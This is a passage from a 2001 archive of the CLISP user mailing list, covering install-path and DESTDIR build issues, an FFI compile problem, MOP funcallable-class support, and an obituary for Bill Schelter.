nil) (:language :stdc)) Is this a bug in clisp, or in the implementation notes? Or am I just confused? William From ted@foi.se Tue Sep 11 01:32:28 2001 Received: from custos.foi.se ([150.227.16.253] helo=mercur.foa.se) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15giy3-0007Hm-00 for ; Tue, 11 Sep 2001 01:32:27 -0700 Received: from truten.ffa.se (IDENT:root@truten.ffa.se [172.16.2.200]) by mercur.foa.se (8.11.4/8.11.4) with ESMTP id f8B8WC815642 for ; Tue, 11 Sep 2001 10:32:12 +0200 (MEST) Received: from foi.se (lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.10.0/8.9.3) with ESMTP id f8B8WBB01448 for ; Tue, 11 Sep 2001 10:32:11 +0200 Message-ID: <3B9DC82D.1DC9CA18@foi.se> From: Daniel Tourde Organization: The Swedish Defence Research Agency, Aeronautics Division FFA X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-12 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Make install change on 2.27 compared to 2.25? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 01:33:01 2001 X-Original-Date: Tue, 11 Sep 2001 10:15:41 +0200 Hello, I am trying to install Clisp at a specific location by using the command: make install_root=xxx install but it seems this option is not accepted or recognized anymore (It worked with 2.25). Did I miss something or is it a bug? Daniel As can be seen below, Clisp is not installed on /var/tmp/clisp-2001.07.17-root but on /usr directly Executing(%install): /bin/sh -e /var/tmp/rpm-tmp.72073 + umask 022 + cd /usr/src/redhat/BUILD + cd clisp-2001-07-17 + rm -rf /var/tmp/clisp-2001.07.17-root + mkdir /var/tmp/clisp-2001.07.17-root + cd src + make install_root=/var/tmp/clisp-2001.07.17-root install if [ ! -d /usr ] ; then mkdir /usr ; fi if [ ! -d /usr ] ; then mkdir /usr ; fi if [ ! -d /usr/lib ] ; then mkdir /usr/lib ; fi if [ ! -d /usr/lib/clisp ] ; then mkdir /usr/lib/clisp ; fi if [ ! -d /usr/lib/clisp/data ] ; then mkdir /usr/lib/clisp/data ; fi /usr/bin/install -c -m 644 data/UnicodeData.txt /usr/lib/clisp/data/UnicodeData.txt /usr/bin/install -c -m 644 data/clhs.txt /usr/lib/clisp/data/clhs.txt if [ ! -d /usr/lib/clisp/linkkit ] ; then mkdir /usr/lib/clisp/linkkit ; fi (cd /usr/lib/clisp && rm -rf base full) mkdir /usr/lib/clisp/base mkdir /usr/lib/clisp/full for f in clisp-link linkkit/modules.d linkkit/modules.c linkkit/clisp.h base/* full/*; do \ case $f in \ */lisp.run) /usr/bin/install -c $f /usr/lib/clisp/$f;; \ *) /usr/bin/install -c -m 644 $f /usr/lib/clisp/$f;; \ esac; \ done if [ ! -d /usr/bin ] ; then mkdir /usr/bin ; fi gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -x none -DLISPLIBDIR='"/usr/lib/clisp"' -DLOCALEDIR='""' clisp.c -o /usr/bin/clisp if [ ! -d /usr ] ; then mkdir /usr ; fi if [ ! -d /usr ] ; then mkdir /usr ; fi if [ ! -d /usr/man ] ; then mkdir /usr/man ; fi if [ ! -d /usr/man/man1 ] ; then mkdir /usr/man/man1 ; fi /usr/bin/install -c -m 644 clisp.1 /usr/man/man1/clisp.1 if [ ! -d /usr/man/man3 ] ; then mkdir /usr/man/man3 ; fi /usr/bin/install -c -m 644 clreadline.3 /usr/man/man3/clreadline.3 if [ ! -d /usr ] ; then mkdir /usr ; fi if [ ! -d /usr ] ; then mkdir /usr ; fi if [ ! -d /usr/doc ] ; then mkdir /usr/doc ; fi if [ ! -d /usr/doc/clisp-2.27 ] ; then mkdir /usr/doc/clisp-2.27 ; fi /usr/bin/install -c -m 644 ANNOUNCE COPYRIGHT GNU-GPL SUMMARY NEWS README README.de README.es MAGIC.add /usr/doc/clisp-2.27/ if [ ! -d /usr/doc/clisp-2.27/doc ] ; then mkdir /usr/doc/clisp-2.27/doc ; fi /usr/bin/install -c -m 644 clisp.1 clisp.html LISP-tutorial.txt CLOS-guide.txt editors.txt impnotes.html clisp.gif clreadline.3 clreadline.html clreadline.dvi readline.dvi clisp.dvi /usr/doc/clisp-2.27/doc/ -- *********************************************************************** Daniel TOURDE E-mail : daniel.tourde@foi.se Tel : +46 (0)8-55 50 43 44 Cellular : +46 (0)70-849 93 40 FOI, Swedish Defence Research Agency; Aeronautics Division - FFA Dept. of Wind Energy and Aviation Environmental Research SE-172 90 Stockholm, Sweden Fax : +46 (0)8-25 34 81 *********************************************************************** From ted@foi.se Tue Sep 11 04:07:42 2001 Received: from custos.foi.se ([150.227.16.253] helo=mercur.foa.se) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15glOH-0001fM-00 for ; Tue, 11 Sep 2001 04:07:41 -0700 Received: from truten.ffa.se (IDENT:root@truten.ffa.se [172.16.2.200]) by mercur.foa.se (8.11.4/8.11.4) with ESMTP id f8BB7K823325 for ; Tue, 11 Sep 2001 13:07:20 +0200 (MEST) Received: from foi.se (lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.10.0/8.9.3) with ESMTP id f8BB7KB07039 for ; Tue, 11 Sep 2001 13:07:20 +0200 Message-ID: <3B9DEC89.58E68EAB@foi.se> From: Daniel Tourde Organization: The Swedish Defence Research Agency, Aeronautics Division FFA X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-12 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Fsstnd=redhat? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 04:08:06 2001 X-Original-Date: Tue, 11 Sep 2001 12:50:49 +0200 Hi! I am building an RPM of Clisp 2.27 for RedHat 7.1 I use the following commands: ./configure --prefix=%{_prefix} --fsstnd=redhat cd src ./makemake --prefix=%{_prefix} --fsstnd=redhat --with-readline --with-nogettext --with-dynamic-ffi > Makefile Redhat put the man pages and the doc files under /usr/share/doc /usr/share/man However, at the end of the installation of the procedure, I get the doc and man pages under /usr/doc /usr/man How can this be solved? Why the --fsstnd=redhat option is not correctly taken into account? Daniel -- *********************************************************************** Daniel TOURDE E-mail : daniel.tourde@foi.se Tel : +46 (0)8-55 50 43 44 Cellular : +46 (0)70-849 93 40 FOI, Swedish Defence Research Agency; Aeronautics Division - FFA Dept. of Wind Energy and Aviation Environmental Research SE-172 90 Stockholm, Sweden Fax : +46 (0)8-25 34 81 *********************************************************************** From hannah@schlund.de Tue Sep 11 05:21:40 2001 Received: from mout02.kundenserver.de ([195.20.224.133]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gmXr-0007Vh-00; Tue, 11 Sep 2001 05:21:39 -0700 Received: from [195.20.224.148] (helo=mxintern.kundenserver.de) by mout02.kundenserver.de with esmtp (Exim 2.12 #2) id 15gmXh-0003NO-00; Tue, 11 Sep 2001 14:21:29 +0200 Received: from home.kundenserver.de ([172.19.16.7]) by mxintern.kundenserver.de with esmtp (Exim 2.12 #3) id 15gmXh-0002SC-00; Tue, 11 Sep 2001 14:21:29 +0200 Received: from hannah by home.kundenserver.de with local (Exim 3.12 #1) id 15gmXg-0004nL-00; Tue, 11 Sep 2001 14:21:28 +0200 From: =?iso-8859-1?Q?Hannah_Schr=F6ter?= To: William Harold Newman Cc: clisp-list@lists.sourceforge.net, sbcl-devel@lists.sourceforge.net Subject: Re: [Sbcl-devel] Re: [clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP) Message-ID: <20010911142128.A18314@schlund.de> References: <20010730090531.A7628@rootless> <3B6589C1.79C430DD@atzmueller.net> <20010730130847.B23958@rootless> <20010731075510.D23958@rootless> <20010910154118.B21447@rootless> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20010910154118.B21447@rootless>; from william.newman@airmail.net on Mon, Sep 10, 2001 at 03:41:18PM -0500 Organization: Schlund + Partner AG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 05:22:02 2001 X-Original-Date: Tue, 11 Sep 2001 14:21:28 +0200 Hello! On Mon, Sep 10, 2001 at 03:41:18PM -0500, William Harold Newman wrote: >[...] >balefire:clisp/ $ type bash >bash is /usr/local/bin/bash >balefire:clisp/ $ export CONFIG_SHELL=/usr/local/bin/bash >balefire:clisp/ $ bash ./configure >./configure: test: too many arguments >[... many more errors ...] Did you try using the clisp from the ports (or if that version is too old, adapting the port / following the steps of the port)? /usr/ports/lang/clisp, that is. Kind regards, Hannah. -- Hannah Schröter Entwicklung hannah@schlund.de Bei Schlund + Partner AG Erbprinzenstr. 4-12 D-76133 Karlsruhe This specification allows any of these approaches. Solving the Halting Problem is considered extra credit. (draft-showalter-sieve-12.txt) From sds@gnu.org Tue Sep 11 05:49:33 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gmyr-00027Y-00 for ; Tue, 11 Sep 2001 05:49:33 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id IAA22363; Tue, 11 Sep 2001 08:49:29 -0400 (EDT) X-Envelope-To: To: William Webber Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiler not obeying use-package? References: <20010911171324.A3319@kako.domus.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010911171324.A3319@kako.domus.net> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 05:50:03 2001 X-Original-Date: 11 Sep 2001 08:48:09 -0400 > * In message <20010911171324.A3319@kako.domus.net> > * On the subject of "[clisp-list] Compiler not obeying use-package?" > * Sent on Tue, 11 Sep 2001 17:13:24 +1000 > * Honorable William Webber writes: > > The FFI examples given in the CLISP implementation notes, > Extension-2.3, will not compile. One of the problems seems to be (?) > that the compiler does not treat "use-package" properly. So, for > instance, to take a shortened version of the file sort2.lisp given in > the call-in examples: > > (use-package "FFI") make it (eval-when (load compile eval) (use-package "FFI")) or set custom::*package-tasks-treat-specially* to T > Is this a bug in clisp, or in the implementation notes? the latter - thanks for reporting it. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From sds@gnu.org Tue Sep 11 06:36:08 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gnhv-0006b0-00 for ; Tue, 11 Sep 2001 06:36:07 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA29325; Tue, 11 Sep 2001 09:36:01 -0400 (EDT) X-Envelope-To: To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Fsstnd=redhat? References: <3B9DEC89.58E68EAB@foi.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B9DEC89.58E68EAB@foi.se> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 Message-ID: Lines: 29 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 06:37:02 2001 X-Original-Date: 11 Sep 2001 09:34:39 -0400 > * In message <3B9DEC89.58E68EAB@foi.se> > * On the subject of "[clisp-list] Fsstnd=redhat?" > * Sent on Tue, 11 Sep 2001 12:50:49 +0200 > * Honorable Daniel Tourde writes: > > Redhat put the man pages and the doc files under > /usr/share/doc > /usr/share/man > > However, at the end of the installation of the procedure, I get the doc > and man pages under > /usr/doc > /usr/man every distribution was moving in the direction of "share" for all arch-independent stuff, some faster, some slower. we will now use share for all distributions. > How can this be solved? I fixed this in the CVS - you can edit the Makefile manually (docdir var) thanks for reporting this. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on War doesn't determine who's right, just who's left. From sds@gnu.org Tue Sep 11 06:48:32 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gntu-0007r9-00 for ; Tue, 11 Sep 2001 06:48:30 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA01382; Tue, 11 Sep 2001 09:48:24 -0400 (EDT) X-Envelope-To: To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Make install change on 2.27 compared to 2.25? References: <3B9DC82D.1DC9CA18@foi.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B9DC82D.1DC9CA18@foi.se> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 06:49:02 2001 X-Original-Date: 11 Sep 2001 09:46:54 -0400 > * In message <3B9DC82D.1DC9CA18@foi.se> > * On the subject of "[clisp-list] Make install change on 2.27 compared to 2.25?" > * Sent on Tue, 11 Sep 2001 10:15:41 +0200 > * Honorable Daniel Tourde writes: > > I am trying to install Clisp at a specific location by using the > command: > make install_root=xxx install > but it seems this option is not accepted or recognized anymore (It > worked with 2.25). > Did I miss something or is it a bug? I think you should use "prefix" instead of "install_root", at least i have never heard of "install_root". -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Good programmers treat Microsoft products as damage and route around it. From ted@foi.se Tue Sep 11 06:54:41 2001 Received: from custos.foi.se ([150.227.16.253] helo=mercur.foa.se) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gnzs-0008RY-00 for ; Tue, 11 Sep 2001 06:54:41 -0700 Received: from truten.ffa.se (IDENT:root@truten.ffa.se [172.16.2.200]) by mercur.foa.se (8.11.4/8.11.4) with ESMTP id f8BDsR801355; Tue, 11 Sep 2001 15:54:27 +0200 (MEST) Received: from foi.se (lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.10.0/8.9.3) with ESMTP id f8BDsQB13526; Tue, 11 Sep 2001 15:54:26 +0200 Message-ID: <3B9E13B3.4A29898D@foi.se> From: Daniel Tourde Organization: The Swedish Defence Research Agency, Aeronautics Division FFA X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-12 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: sds@gnu.org CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Make install change on 2.27 compared to 2.25? References: <3B9DC82D.1DC9CA18@foi.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 06:55:02 2001 X-Original-Date: Tue, 11 Sep 2001 15:37:55 +0200 Hi! > > I am trying to install Clisp at a specific location by using the > > command: > > make install_root=xxx install > > but it seems this option is not accepted or recognized anymore (It > > worked with 2.25). > > Did I miss something or is it a bug? > > I think you should use "prefix" instead of "install_root", at least i > have never heard of "install_root". If you compare the two files makemake (from 2.25 and 2.27) you will see that install_root has been replaced by DESTDIR Once I used make DESTDIR=xxx install it worked for me. Thanks anyway for your answer Daniel -- *********************************************************************** Daniel TOURDE E-mail : daniel.tourde@foi.se Tel : +46 (0)8-55 50 43 44 Cellular : +46 (0)70-849 93 40 FOI, Swedish Defence Research Agency; Aeronautics Division - FFA Dept. of Wind Energy and Aviation Environmental Research SE-172 90 Stockholm, Sweden Fax : +46 (0)8-25 34 81 *********************************************************************** From youngde@nc.rr.com Wed Sep 12 14:19:03 2001 Received: from fe8.southeast.rr.com ([24.93.67.55] helo=mail8.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15hHPS-0001e3-00 for ; Wed, 12 Sep 2001 14:19:03 -0700 Received: from tinian ([24.162.241.8]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 12 Sep 2001 17:18:50 -0400 Message-ID: <0ad901c13bcf$ec203f90$01bba8c0@tinian> Reply-To: "David E. Young" From: "David E. Young" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] MOP compatibility issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 12 14:20:01 2001 X-Original-Date: Wed, 12 Sep 2001 16:47:57 -0400 Greetings. The following code works fine in ACL, LispWorks and CMUCL, but not CLISP 2.27: (in-package "CL-USER") (defclass rocky () ((name :initarg :name :accessor name)) (:metaclass clos:funcallable-standard-class)) (defmethod initialize-instance :after ((self rocky) &rest args) (clos:set-funcallable-instance-function self #'(lambda (a b) (format t "Name is ~S; A is ~S; B is ~S~%" (name self) a b)))) (defun make-rocky (name) (make-instance 'rocky :name name)) (funcall (make-rocky "rocky") "boris" "natasha") The trouble apparently is that CLISP doesn't support funcall'able instances; i.e. CLOS:FUNCALL-STANDARD-CLASS and its associated functions. I plan to use this functionality in an upcoming LISA release; are there plans for CLISP in this area? Regards, -- ------------------------------------------ David E. Young de.young@computer.org http://lisa.sourceforge.net "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Thu Sep 13 11:06:56 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15hat6-00067k-00 for ; Thu, 13 Sep 2001 11:06:56 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA06045; Thu, 13 Sep 2001 14:06:54 -0400 (EDT) X-Envelope-To: To: "David E. Young" Cc: Subject: Re: [clisp-list] MOP compatibility issue References: <0ad901c13bcf$ec203f90$01bba8c0@tinian> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <0ad901c13bcf$ec203f90$01bba8c0@tinian> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 13 11:07:02 2001 X-Original-Date: 13 Sep 2001 14:06:19 -0400 > * In message <0ad901c13bcf$ec203f90$01bba8c0@tinian> > * On the subject of "[clisp-list] MOP compatibility issue" > * Sent on Wed, 12 Sep 2001 16:47:57 -0400 > * Honorable "David E. Young" writes: > > Greetings. The following code works fine in ACL, LispWorks and CMUCL, > but not CLISP 2.27: > > (:metaclass clos:funcallable-standard-class)) FUNCALLABLE-STANDARD-CLASS is not in ANSI CL. it's in MOP. > I plan to use this functionality in an upcoming LISA release; as I said, this functionality is not in ANSI CL. there was a discussion on c.l.l on making MOP a part of ANSI CL. the consensus (expressed by KMP, IIRC) was that this would constrain implementations to use a particular implementation venue, which is not desirable. I see no reason to use FUNCALLABLE-STANDARD-CLASS. adding a slot to your standard classes would accomplish almost as much: (defclass funcallable () ((defun :accessor fdef :initarg :defun))) (defgeneric call (obj &rest args) (:method ((obj function) &rest args) (apply obj args)) (:method ((obj symbol) &rest args) (apply (fdefinition obj) args)) (:method ((obj funcallable) &rest args) (apply (fdef obj) args))) (defclass foo (funcallable) ()) (call (make-instance 'foo :defun #'car) '(1 . 2)) ==> 1 > are there plans for CLISP in this area? not now. patches are welcome. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Binaries die but source code lives forever. From youngde@nc.rr.com Thu Sep 13 11:34:53 2001 Received: from fe8.southeast.rr.com ([24.93.67.55] helo=mail8.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15hbK8-0002b1-00 for ; Thu, 13 Sep 2001 11:34:52 -0700 Received: from tinian ([24.162.241.8]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 13 Sep 2001 14:34:29 -0400 Message-ID: <0c0901c13c82$23b00dc0$01bba8c0@tinian> Reply-To: "David E. Young" From: "David E. Young" To: Cc: References: <0ad901c13bcf$ec203f90$01bba8c0@tinian> Subject: Re: [clisp-list] MOP compatibility issue MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 13 11:35:02 2001 X-Original-Date: Thu, 13 Sep 2001 14:30:18 -0400 ----- Original Message ----- From: "Sam Steingold" To: "David E. Young" Cc: Sent: Thursday, September 13, 2001 2:06 PM Subject: Re: [clisp-list] MOP compatibility issue > > * In message <0ad901c13bcf$ec203f90$01bba8c0@tinian> > > * On the subject of "[clisp-list] MOP compatibility issue" > > * Sent on Wed, 12 Sep 2001 16:47:57 -0400 > > * Honorable "David E. Young" writes: > > > > (:metaclass clos:funcallable-standard-class)) > > FUNCALLABLE-STANDARD-CLASS is not in ANSI CL. > it's in MOP. Yes, that's correct. It is indeed part of the MOP. > there was a discussion on c.l.l on making MOP a part of ANSI CL. > the consensus (expressed by KMP, IIRC) was that this would constrain > implementations to use a particular implementation venue, which is not > desirable. Thanks for info; perhaps I'll reconsider my approach. -- ------------------------------------------ David E. Young de.young@computer.org http://lisa.sourceforge.net "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From haible@ilog.fr Fri Sep 14 09:36:16 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15hvws-0006Cl-00 for ; Fri, 14 Sep 2001 09:36:14 -0700 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.6/8.11.6) with ESMTP id f8EGZDM12499; Fri, 14 Sep 2001 18:35:13 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.156]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id f8EGZvA22092; Fri, 14 Sep 2001 18:35:57 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA16422; Fri, 14 Sep 2001 18:35:40 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15266.12764.644974.829990@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net Cc: rms@gnu.org X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] William Schelter Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 14 09:37:02 2001 X-Original-Date: Fri, 14 Sep 2001 18:35:40 +0200 (CEST) Dear all, It is with great sadness and sorrow that I heard about the death of Bill Schelter. It happened a few weeks ago. http://ww.telent.net/lisp/free-the-x3j-thirteen/2001.08.html Many of us know him from GCL. But he also released to the world the first free computer algebra system, Maxima, and is the author of the first GCC machine description for i386. He shared with all of us the fruits of his labour, even though it meant extra effort for him: On the GCL side, he had to maintain AKCL as a "set of patches" on top of KCL because the KCL copyright didn't allow to release the entire source at once. On the Maxima side, he had to deal with unclear copyright issues between MIT, Symbolics and others. Releasing free software was not trivial in the 80ies. We are grateful he did it. Like anyone in the world, his life had ups and downs. He had a dark time two years ago, and I'm glad he found love and happiness again before his death. You can visit his homepage at http://www.ma.utexas.edu/users/wfs/ Bruno From marcoxa@cs.nyu.edu Sat Sep 15 10:15:37 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15iJ2W-0007SE-00; Sat, 15 Sep 2001 10:15:36 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id NAA01380; Sat, 15 Sep 2001 13:11:09 -0400 Message-Id: <200109151711.NAA01380@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: cmucl-imp@cons.org CC: ilisp-devel@lists.sourceforge.net, clisp-list@lists.sourceforge.net Subject: [clisp-list] I am fine, thanks.... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 15 10:16:03 2001 X-Original-Date: Sat, 15 Sep 2001 13:11:09 -0400 Hello everybody, I received several email from my parenthetical friends asking about me. I am fine and have been back online only yesterday, more for personal reasons than technical, even though none of my immediate friends was at the WTC. I thought that letting you all know this was a good thing. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From rms@santafe.edu Sat Sep 15 11:09:02 2001 Received: from pele.santafe.edu ([192.12.12.119]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15iJsD-0005Rf-00 for ; Sat, 15 Sep 2001 11:09:01 -0700 Received: from aztec.santafe.edu (aztec [192.12.12.49]) by pele.santafe.edu (8.9.3/8.9.3) with ESMTP id MAA27975; Sat, 15 Sep 2001 12:08:58 -0600 (MDT) Received: (from rms@localhost) by aztec.santafe.edu 